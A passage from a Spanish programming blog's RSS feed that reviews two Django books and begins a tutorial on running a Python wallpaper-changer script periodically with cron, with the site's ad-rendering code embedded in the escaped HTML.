720px) {&#xA;    .google-ads-container-1124666671 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;        .banner{&#xA;      width: 273px;&#xA;      height: 34px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-1124666671 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&lt;h2 id=&#34;mi-opinion-sobre-django-for-professionals&#34;&gt;Mi opinión sobre Django for Professionals&lt;/h2&gt;&#xA;&lt;p&gt;Con respecto al contenido, me parece que le falta profundizar un poco más en el deploy y tomar en cuenta otras opciones, a parte de Heroku. Tampoco menciona a Django Rest Framework o Graphene, aunque esto podría deberse a que son tratados en su otro libro: Django for APIS. Yo siento que, para ser un libro de Django para profesionales, no ahonda lo suficiente en el framework.&lt;/p&gt;&#xA;&lt;p&gt;Si buscas un libro que ahonde en el funcionamiento de Django a profundidad a nivel código, este no es tu libro, intenta con &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/es/django/la-guia-definitiva-de-django/&#34;&gt;The definitive guide to Django&lt;/a&gt;&#xA; (incluso a pesar de estar desactualizado). En cambio, si estás buscando una aproximación más centrada en el rápido desarrollo y despliegue de aplicaciones este es, probablemente, el libro que necesitas leer.&lt;/p&gt;&#xA;&lt;p&gt;En resumen, me han gustado un montón de cosas de este libro. En primer lugar, ver ejemplos en Docker (aún en nivel básico) con Django es bastante útil, ya que muchos de los libros lo dejan de lado. En segundo lugar, la incorporación de tests al final de cada capítulo también lo considero un acierto por parte del escritor.&lt;/p&gt;&#xA;&lt;p&gt;El libro en general es un muy buen libro de Django intermedio y que muestra un flujo de desarrollo más apegado a la situación actual de la tecnología. Yo lo considero una buena opción si se sabe lo básico de Django y Python. Sin embargo, de ninguna manera lo consideraría un libro para profesionales con bastante experiencia.&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;&lt;strong&gt;Conocimientos previos recomendados:&lt;/strong&gt;&lt;/strong&gt; HTML, Git, Base de datos, Docker, Python y comandos básicos de GNU/Linux&lt;br&gt;&#xA;&lt;strong&gt;Recomendado para leerlo:&lt;/strong&gt; 7/10&lt;br&gt;&#xA;&lt;strong&gt;Idiomas:&lt;/strong&gt; Inglés&lt;/p&gt;&#xA;</content:encoded>
      <summary>&lt;p&gt;Hace algo de tiempo, mientras buscaba información sobre Django por internet me encontré con un &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://djangochat.com/&#34; rel=&#34;noopener nofollow&#34; target=&#34;_blank&#34;&gt;podcast semanal muy bueno llamado Django chats&lt;/a&gt;&#xA;. El autor, llamado William S. Vincent, habla de Django y entrevista desarrolladores relacionados con este framework de desarrollo web. Además de llevar su podcast religiosamente, William S. Vincent también escribe libros sobre Django. Uno de ellos es Django for Professionals, el cual es &lt;strong&gt;uno de los mejores libros de Django moderno&lt;/strong&gt; que he leído hasta el momento. Este libro forma parte de una trilogía sobre Django. Si sabes inglés date una vuelta por el podcast de Django del autor, encontrarás mucho contenido genial sobre Django y enlaces de compra a sus tres libros:&lt;/p&gt;</summary>
    </item>
    
    <item>
      <title>La guia definitiva de Django</title>
      <link>https://coffeebytes.dev/es/django/la-guia-definitiva-de-django/</link>
      <pubDate>Wed, 01 Apr 2020 00:00:00 +0000</pubDate>
      <guid>https://coffeebytes.dev/es/django/la-guia-definitiva-de-django/</guid>
      
      <category>django</category>
      
      
      
      
      
      <content:encoded>&lt;p&gt;Django es &lt;strong&gt;mi framework de desarrollo web favorito&lt;/strong&gt;, es maduro, su documentación y su comunidad son excelentes. Cuando escribí sobre las &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/es/django/por-que-deberias-usar-django-framework/&#34;&gt;ventajas y desventajas de Django&lt;/a&gt;&#xA; te expliqué que pasar de una idea a un prototipo funcional en muy poco tiempo y sin escribir casi código es muy fácil usando Django.&lt;/p&gt;&#xA;&lt;p&gt;Aprendí gran parte de lo que sé respecto a este framework hace años, leyendo y practicando el contenido de un libro llamado &lt;strong&gt;Definitive Guide to Django: Web Development Done Right&lt;/strong&gt; de los autores &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;http://www.holovaty.com/&#34; rel=&#34;noopener&#34; target=&#34;_blank&#34;&gt;Adrian Holovaty&lt;/a&gt;&#xA; , &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://jacobian.org/&#34; rel=&#34;noopener nofollow&#34; target=&#34;_blank&#34;&gt;Jacob Kaplan-Moss&lt;/a&gt;&#xA; (co-creadores de Django) y traducido impecablemente al español por Saul García bajo el título de La guía definitiva de Django: Desarrolla aplicaciones web de forma rápida y sencilla.&lt;/p&gt;&#xA;&lt;p&gt;Este recurso es excelente porque cubre absolutamente todo lo que se necesita para desarrollar una aplicación de Django, frontend, backend, y el deployment.&lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;  &#xA;  &#xA;    &#xA;    &#xA;    &#xA;      &#xA;    &#xA;  &#xA;&#xA;  &#xA;    &lt;script&gt;&#xA;      (function() {&#xA;        var matchedAdsData = &#34;[{\&#34;description\&#34;:\&#34;Django 5 salió y todos los libros anteriores se volvieron obsoletos porque están usando versiones antiguas de django en sus ejemplos, este no lo es y cubre todas las características básicas de django que hacen de este framework una de las apuestas más estables, probadas en batalla y seguras a la hora de diseñar una aplicación web.\&#34;,\&#34;imageAlt\&#34;:\&#34;Portada del libro Django for Beginners\&#34;,\&#34;imageSrc\&#34;:\&#34;https://res.cloudinary.com/dwrscezd2/image/upload/v1751669153/coffee-bytes/django-for-begginers_300_xqbdi2.webp\&#34;,\&#34;link\&#34;:\&#34;https://amzn.to/3Qx2pli\&#34;,\&#34;linkText\&#34;:\&#34;Consulta el precio de Django for Beginners y cómpralo en Amazon\&#34;,\&#34;title\&#34;:\&#34;¿Dónde aprender Django Framework de manera profunda?\&#34;}]&#34;;&#xA;        &#xA;        function renderAds() {&#xA;          var rightPanel = document.getElementById(&#39;right-panel&#39;);&#xA;          if (!rightPanel) return;&#xA;&#xA;          &#xA;          var existingContainer = document.getElementById(&#39;ads-panels-container&#39;);&#xA;          if (existingContainer) {&#xA;            existingContainer.remove();&#xA;          }&#xA;&#xA;          var matchedAds = JSON.parse(matchedAdsData);&#xA;          &#xA;          if (!matchedAds || !Array.isArray(matchedAds) || matchedAds.length === 0) return;&#xA;          &#xA;          var container = document.createElement(&#39;div&#39;);&#xA;          container.id = &#39;ads-panels-container&#39;;&#xA;          container.className = &#39;ads-panels-sticky&#39;;&#xA;          rightPanel.appendChild(container);&#xA;          &#xA;          matchedAds.forEach(function(ad) {&#xA;            if (!ad || !ad.title) return;&#xA;            &#xA;            var panel = document.createElement(&#39;div&#39;);&#xA;            panel.className = &#39;ad-panel&#39;;&#xA;            panel.innerHTML = &#xA;              &#39;&lt;div class=&#34;ad-panel-content&#34;&gt;&#39; +&#xA;                &#39;&lt;img height=&#34;150px&#34; width=&#34;100px&#34; src=&#34;&#39; + ad.imageSrc + &#39;&#34; alt=&#34;&#39; + (ad.imageAlt || ad.title) + &#39;&#34; class=&#34;ad-book-image&#34; loading=&#34;lazy&#34; /&gt;&#39; +&#xA;                &#39;&lt;h4 class=&#34;ad-title&#34;&gt;&lt;strong&gt;&#39; + ad.title + &#39;&lt;/strong&gt;&lt;/h4&gt;&#39; +&#xA;                (ad.description ? &#39;&lt;p class=&#34;ad-description&#34;&gt;&#39; + ad.description + &#39;&lt;/p&gt;&#39; : &#39;&#39;) +&#xA;                (ad.link ? &#39;&lt;a href=&#34;&#39; + ad.link + &#39;&#34; target=&#34;_blank&#34; rel=&#34;sponsored nofollow&#34; class=&#34;ad-link-button&#34;&gt;&#39; + (ad.linkText || &#39;Learn More&#39;) + &#39;&lt;/a&gt;&#39; : &#39;&#39;) +&#xA;              &#39;&lt;/div&gt;&#39;;&#xA;            &#xA;            container.appendChild(panel);&#xA;          });&#xA;        }&#xA;&#xA;        &#xA;        document.addEventListener(&#39;DOMContentLoaded&#39;, renderAds);&#xA;        &#xA;        &#xA;        document.addEventListener(&#39;htmx:historyRestore&#39;, renderAds);&#xA;        document.addEventListener(&#39;htmx:afterSettle&#39;, renderAds);&#xA;      })();&#xA;    &lt;/script&gt;&#xA;  &#xA;&#xA;&#xA;&lt;style&gt;&#xA;  .ads-panels-sticky {&#xA;    position: sticky;&#xA;    top: 100px;&#xA;    display: flex;&#xA;    flex-direction: column;&#xA;    gap: 16px;&#xA;    z-index: 10;&#xA;  }&#xA;&#xA;  .ad-panel {&#xA;    background: transparent;&#xA;    border-radius: 8px;&#xA;    padding: 16px 36px;&#xA;  }&#xA;&#xA;  .ad-panel:hover {&#xA;    transform: none;&#xA;  }&#xA;&#xA;  .ad-panel-content {&#xA;    display: flex;&#xA;    flex-direction: column;&#xA;    align-items: center;&#xA;    text-align: justify;&#xA;  }&#xA;&#xA;  .ad-book-image {&#xA;    width: 100px;&#xA;    height: auto;&#xA;    border-radius: 6px;&#xA;    margin-bottom: 10px;&#xA;    object-fit: cover;&#xA;  }&#xA;&#xA;  .ad-title {&#xA;    font-size: 0.9rem;&#xA;    font-weight: 600;&#xA;    margin: 0 0 6px 0;&#xA;    color: var(--secondary-text);&#xA;    line-height: 1.3;&#xA;  }&#xA;&#xA;  .ad-description {&#xA;    font-size: 0.75rem;&#xA;    color: var(--secondary-text);&#xA;    margin: 0 0 10px 0;&#xA;    line-height: 1.4;&#xA;    display: -webkit-box;&#xA;    -webkit-line-clamp: 2;&#xA;    -webkit-box-orient: vertical;&#xA;    overflow: hidden;&#xA;  }&#xA;&#xA;  .ad-link-button {&#xA;    display: inline-block;&#xA;    padding: 8px 12px;&#xA;    background: #ffa41c;&#xA;    color: #111;&#xA;    text-decoration: none;&#xA;    border-radius: 4px;&#xA;    font-size: 0.8rem;&#xA;    font-weight: 500;&#xA;    transition: background 0.2s ease, opacity 0.2s ease;&#xA;    width: 100%;&#xA;    box-sizing: border-box;&#xA;    text-align: center;&#xA;  }&#xA;&#xA;  .ad-link-button:hover {&#xA;    background: #f08804;&#xA;    opacity: 1;&#xA;  }&#xA;&#xA;  @media (max-width: 768px) {&#xA;    .ads-panels-sticky,&#xA;    .ad-panel,&#xA;    #ads-panels-container {&#xA;      display: none;&#xA;      visibility: hidden;&#xA;      opacity: 0;&#xA;      z-index:1;&#xA;    }&#xA;  }&#xA;&#xA;  @media (max-width: 1024px) {&#xA;    .ads-panels-sticky {&#xA;      position: static;&#xA;      flex-direction: row;&#xA;      flex-wrap: wrap;&#xA;      justify-content: center;&#xA;    }&#xA;&#xA;    .ad-panel {&#xA;      max-width: 200px;&#xA;      flex: 0 0 auto;&#xA;    }&#xA;  }&#xA;&#xA;  @media (max-width: 600px) {&#xA;    .ads-panels-sticky {&#xA;      flex-direction: column;&#xA;    }&#xA;&#xA;    .ad-panel {&#xA;      max-width: 100%;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-8672022193&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;8672022193&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;style&gt;&#xA;&#xA;  .google-ads-container-8672022193{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-8672022193 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;    .banner{&#xA;      width: 273px;&#xA;      height: 34px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-8672022193 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&#xA;&#xA;&lt;p&gt;El libro es un &lt;strong&gt;manual completo de uso de Django&lt;/strong&gt;. Su contenido abarca todo el funcionamiento de Django, desde lo más simple hasta lo más complicado. Cubre la explicación del patrón de diseño MVC, historia del desarrollo de Django como Framework, vistas (normales y genéricas), plantillas, modelos, uso de Middleware, seguridad, optimización con cache, internacionalización y la adaptación del framework cuando ya tienes base de datos preexistentes. El libro es toda una joya para los que amamos Python y Django, me incluyo entre estos.&lt;/p&gt;&#xA;&lt;h2 id=&#34;la-guia-definitiva-para-aprender-django-es-un-buen-libro-pero-desactualizado&#34;&gt;La guia definitiva para aprender Django es un buen libro pero desactualizado&lt;/h2&gt;&#xA;&lt;p&gt;&lt;del&gt;Pero no todo es mágico con este libro. Al día de hoy que escribo esta entrada Django va en su versión 3, pero la información del libro se quedó estancada en su versión 1.8. Desafortunadamente, no se ve que los autores tengan intenciones de retomar el libro para darle una actualizada a su contenido. Ambos autores tienen sus blogs activos y funcionando, por lo que supongo que han dejado el proyecto olvidado.&lt;/del&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;del&gt;Django y la web están cambiando poco a poco con cada actualización; la web hace uso masivo de Javascript en el Frontend, primero las SPA se volvieron tendencía y muchas veces Django es utilizado con la única función de servir información por medio de REST o GraphQL a un frontend que se encargará de procesarla, ignorando por completo algo de la funcionalidad de renderizado de plantillas; las url ya no requieren expresiones regulares, además es posible especificar el tipo de dato que recibirán.&lt;/del&gt;&lt;/p&gt;&#xA;&lt;p&gt;Actualización de 2024: Tras un embarazoso retorno a los principios del desarrollo web, los desarrolladores frontend se dieron cuenta de que el paradigma de crear HTML con el servidor era mucho mejor que el CSR (client side rendering).&lt;/p&gt;&#xA;&lt;p&gt;Y, nuevamente, frameworks como Django, Ruby on Rails o la librería estándar de Go, están siendo utilizados para generar APIs o devolver HTML directamente. Estos frameworks pueden ser combinados con &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/es/django/django-y-htmx-web-apps-modernas-sin-escribir-js/&#34;&gt;librerías como HTMX, que te permiten manejar respuestas HTML&lt;/a&gt;&#xA; para tener aplicaciones SEO friendly y con un excelente rendimiento.&lt;/p&gt;&#xA;&lt;p&gt;No obstante el libro aún se encuentra desactualizado. Si los autores de este libro se decidieran a mantener actualizado su contenido podría fácilmente ser el mejor libro de Django disponible.&lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-1124666671&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;1124666671&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;style&gt;&#xA;&#xA;  .google-ads-container-1124666671{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-1124666671 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;        .banner{&#xA;      width: 273px;&#xA;      height: 34px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-1124666671 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&lt;h2 id=&#34;mi-opinion-sobre-la-guia-definitiva-de-django&#34;&gt;Mi opinión sobre la guia definitiva de Django&lt;/h2&gt;&#xA;&lt;p&gt;Si aún así quieres leer el libro te recomiendo escoger con cuidado los capítulos y considerar que el código puede estar bastante desactualizado, te dejo el enlace a su &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://github.com/Verurteilt/libros/blob/master/Libros%20de%20Python/django,%20la%20guia%20definitiva.pdf&#34; rel=&#34;noopener nofollow&#34; target=&#34;_blank&#34;&gt;versión en español, actualicé el enlace el 23 de Agosto del 2024&lt;/a&gt;&#xA; (Si el enlace ya no te manda a algún lugar válido mándame un tweet o un correo). Puedes descargarlo sin preocupación alguna, es totalmente legal, pues el libro se encuentra bajo los términos de la licencia GNU Free Documentation License. &lt;strong&gt;Te recomiendo darle un vistazo a los capítulos de Cache, Middleware, Internacionalización y Seguridad&lt;/strong&gt;, encontrarás consejos útiles y que se encuentran vigentes aún hoy en día.&lt;/p&gt;&#xA;&lt;p&gt;Si quieres aprender Django con los nuevos cambios que ha tenido el framework entra en mi entrada donde hablo del &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/es/django/resena-de-django-for-professionals/&#34;&gt;libro Django for Professionals&lt;/a&gt;&#xA;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;&lt;strong&gt;Conocimientos previos recomendados:&lt;/strong&gt;&lt;/strong&gt; Python, HTML y CSS&lt;br&gt;&#xA;&lt;strong&gt;Recomendado para leerlo:&lt;/strong&gt; 6/10&lt;br&gt;&#xA;&lt;strong&gt;Idiomas:&lt;/strong&gt; Inglés, español&lt;br&gt;&#xA;&lt;strong&gt;Notas:&lt;/strong&gt; Desactualizado&lt;/p&gt;&#xA;</content:encoded>
      <summary>&lt;p&gt;Django es &lt;strong&gt;mi framework de desarrollo web favorito&lt;/strong&gt;, es maduro, su documentación y su comunidad son excelentes. Cuando escribí sobre las &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/es/django/por-que-deberias-usar-django-framework/&#34;&gt;ventajas y desventajas de Django&lt;/a&gt;&#xA; te expliqué que pasar de una idea a un prototipo funcional en muy poco tiempo y sin escribir casi código es muy fácil usando Django.&lt;/p&gt;&#xA;&lt;p&gt;Aprendí gran parte de lo que sé respecto a este framework hace años, leyendo y practicando el contenido de un libro llamado &lt;strong&gt;Definitive Guide to Django: Web Development Done Right&lt;/strong&gt; de los autores &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;http://www.holovaty.com/&#34; rel=&#34;noopener&#34; target=&#34;_blank&#34;&gt;Adrian Holovaty&lt;/a&gt;&#xA; , &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://jacobian.org/&#34; rel=&#34;noopener nofollow&#34; target=&#34;_blank&#34;&gt;Jacob Kaplan-Moss&lt;/a&gt;&#xA; (co-creadores de Django) y traducido impecablemente al español por Saul García bajo el título de La guía definitiva de Django: Desarrolla aplicaciones web de forma rápida y sencilla.&lt;/p&gt;</summary>
    </item>
    
    <item>
      <title>¿Cómo programar un cambiador de wallpaper automático en Python?</title>
      <link>https://coffeebytes.dev/es/python/como-programar-un-cambiador-de-wallpaper-automatico-en-python/</link>
      <pubDate>Sun, 01 Mar 2020 00:00:00 +0000</pubDate>
      <guid>https://coffeebytes.dev/es/python/como-programar-un-cambiador-de-wallpaper-automatico-en-python/</guid>
      
      <category>python</category>
      
      
      
      
      
      <content:encoded>&lt;p&gt;En la entrada anterio hicimos un &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/es/python/como-programar-un-cambiador-de-wallpaper-automatico-en-python/&#34;&gt;cambiador de wallpaper automático en Python&lt;/a&gt;&#xA;. En esta entrada vamos a usar Cron para programar la ejecución periódica de este script y que se encargue de cambiar el wallpaper cada cierto tiempo, automáticamente, ya sea cada hora, dos horas, cada día, cada minuto o la frecuencia que nosotros querramos.&lt;/p&gt;&#xA;&lt;p&gt;Si no sabes como funciona el daemon Cron y como programar las tareas usando esta herramienta, por favor revisa mi entrada sobre &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/es/linux/programa-tareas-periodicas-facil-en-linux-con-cron-y-crontab/&#34;&gt;Cron y Crontab.&lt;/a&gt;&#xA;&lt;/p&gt;&#xA;&lt;p&gt;Y si estás interesado en ahondar en Python te comparto &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/es/python/mis-libros-favoritos-para-aprender-a-programar-en-python/&#34;&gt;mis recursos y libros favoritos para aprender Python&lt;/a&gt;&#xA;&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-python&#34; data-lang=&#34;python&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;#!/usr/bin/python3&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;import&lt;/span&gt; os&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;import&lt;/span&gt; random&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;wallpaper_folder &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;/home/usuario/Imágenes/wallpaper/&amp;#34;&lt;/span&gt; &lt;span style=&#34;color:#78787e&#34;&gt;# Coloca aquí tu propia ruta&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;os&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;chdir(wallpaper_folder)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;allowed_image_formats &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; [&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;jpg&amp;#34;&lt;/span&gt;, &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;png&amp;#34;&lt;/span&gt;, &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;jpeg&amp;#34;&lt;/span&gt;]&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;list_of_images &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; [image &lt;span style=&#34;color:#ff6ac1&#34;&gt;for&lt;/span&gt; image &lt;span style=&#34;color:#ff6ac1&#34;&gt;in&lt;/span&gt; os&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;listdir() &lt;span style=&#34;color:#ff6ac1&#34;&gt;if&lt;/span&gt; image&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;endswith(&lt;span style=&#34;color:#ff5c57&#34;&gt;tuple&lt;/span&gt;(allowed_image_formats))]&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;random_wallpaper &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; os&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;path&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;join(os&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;getcwd(), random&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;choice(list_of_images))&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;os&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;system(&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;gsettings set org.gnome.desktop.background picture-uri &amp;#39;file://&lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;{}&lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;&amp;#34;&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;format(random_wallpaper))&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Ahora, vamos a programar su ejecución por medio de Crontab.&lt;/p&gt;&#xA;&lt;p&gt;Si colocamos un script de Python que contenga el bloque de código anterior en Crontab y esperamos a que llegue el tiempo de ejecución, &lt;strong&gt;no funcionará&lt;/strong&gt;.&lt;/p&gt;&#xA;&lt;h2 id=&#34;agregar-variables-de-entorno-a-crontab&#34;&gt;Agregar variables de entorno a Crontab&lt;/h2&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;  &#xA;  &#xA;    &#xA;    &#xA;    &#xA;      &#xA;    &#xA;  &#xA;&#xA;  &#xA;    &lt;script&gt;&#xA;      (function() {&#xA;        var matchedAdsData = &#34;[{\&#34;description\&#34;:\&#34;Mi recomendación de libro si te gusta Python es este pequeño libro. Python tricks es una recopilación de trucos (dah, obvio) y partes útiles, pero desconocidas, del lenguaje. Yo pensaba que sabía Python hasta que leí este libro, dale una oportunidad si no me crees.\&#34;,\&#34;imageSrc\&#34;:\&#34;https://coffeebytes.dev/en/pages/books-i-read-and-reviews/images/python-tricks-the-book.jpg\&#34;,\&#34;link\&#34;:\&#34;https://amzn.to/4gLHlCB\&#34;,\&#34;linkText\&#34;:\&#34;Consulta el precio de los trucos de Python y cómpralo en Amazon\&#34;,\&#34;title\&#34;:\&#34;Si quieres pulir tus conocimientos de Python\&#34;}]&#34;;&#xA;        &#xA;        function renderAds() {&#xA;          var rightPanel = document.getElementById(&#39;right-panel&#39;);&#xA;          if (!rightPanel) return;&#xA;&#xA;          &#xA;          var existingContainer = document.getElementById(&#39;ads-panels-container&#39;);&#xA;          if (existingContainer) {&#xA;            existingContainer.remove();&#xA;          }&#xA;&#xA;          var matchedAds = JSON.parse(matchedAdsData);&#xA;          &#xA;          if (!matchedAds || !Array.isArray(matchedAds) || matchedAds.length === 0) return;&#xA;          &#xA;          var container = document.createElement(&#39;div&#39;);&#xA;          container.id = &#39;ads-panels-container&#39;;&#xA;          container.className = &#39;ads-panels-sticky&#39;;&#xA;          rightPanel.appendChild(container);&#xA;          &#xA;          matchedAds.forEach(function(ad) {&#xA;            if (!ad || !ad.title) return;&#xA;            &#xA;            var panel = document.createElement(&#39;div&#39;);&#xA;            panel.className = &#39;ad-panel&#39;;&#xA;            panel.innerHTML = &#xA;              &#39;&lt;div class=&#34;ad-panel-content&#34;&gt;&#39; +&#xA;                &#39;&lt;img height=&#34;150px&#34; width=&#34;100px&#34; src=&#34;&#39; + ad.imageSrc + &#39;&#34; alt=&#34;&#39; + (ad.imageAlt || ad.title) + &#39;&#34; class=&#34;ad-book-image&#34; loading=&#34;lazy&#34; /&gt;&#39; +&#xA;                &#39;&lt;h4 class=&#34;ad-title&#34;&gt;&lt;strong&gt;&#39; + ad.title + &#39;&lt;/strong&gt;&lt;/h4&gt;&#39; +&#xA;                (ad.description ? &#39;&lt;p class=&#34;ad-description&#34;&gt;&#39; + ad.description + &#39;&lt;/p&gt;&#39; : &#39;&#39;) +&#xA;                (ad.link ? &#39;&lt;a href=&#34;&#39; + ad.link + &#39;&#34; target=&#34;_blank&#34; rel=&#34;sponsored nofollow&#34; class=&#34;ad-link-button&#34;&gt;&#39; + (ad.linkText || &#39;Learn More&#39;) + &#39;&lt;/a&gt;&#39; : &#39;&#39;) +&#xA;              &#39;&lt;/div&gt;&#39;;&#xA;            &#xA;            container.appendChild(panel);&#xA;          });&#xA;        }&#xA;&#xA;        &#xA;        document.addEventListener(&#39;DOMContentLoaded&#39;, renderAds);&#xA;        &#xA;        &#xA;        document.addEventListener(&#39;htmx:historyRestore&#39;, renderAds);&#xA;        document.addEventListener(&#39;htmx:afterSettle&#39;, renderAds);&#xA;      })();&#xA;    &lt;/script&gt;&#xA;  &#xA;&#xA;&#xA;&lt;style&gt;&#xA;  .ads-panels-sticky {&#xA;    position: sticky;&#xA;    top: 100px;&#xA;    display: flex;&#xA;    flex-direction: column;&#xA;    gap: 16px;&#xA;    z-index: 10;&#xA;  }&#xA;&#xA;  .ad-panel {&#xA;    background: transparent;&#xA;    border-radius: 8px;&#xA;    padding: 16px 36px;&#xA;  }&#xA;&#xA;  .ad-panel:hover {&#xA;    transform: none;&#xA;  }&#xA;&#xA;  .ad-panel-content {&#xA;    display: flex;&#xA;    flex-direction: column;&#xA;    align-items: center;&#xA;    text-align: justify;&#xA;  }&#xA;&#xA;  .ad-book-image {&#xA;    width: 100px;&#xA;    height: auto;&#xA;    border-radius: 6px;&#xA;    margin-bottom: 10px;&#xA;    object-fit: cover;&#xA;  }&#xA;&#xA;  .ad-title {&#xA;    font-size: 0.9rem;&#xA;    font-weight: 600;&#xA;    margin: 0 0 6px 0;&#xA;    color: var(--secondary-text);&#xA;    line-height: 1.3;&#xA;  }&#xA;&#xA;  .ad-description {&#xA;    font-size: 0.75rem;&#xA;    color: var(--secondary-text);&#xA;    margin: 0 0 10px 0;&#xA;    line-height: 1.4;&#xA;    display: 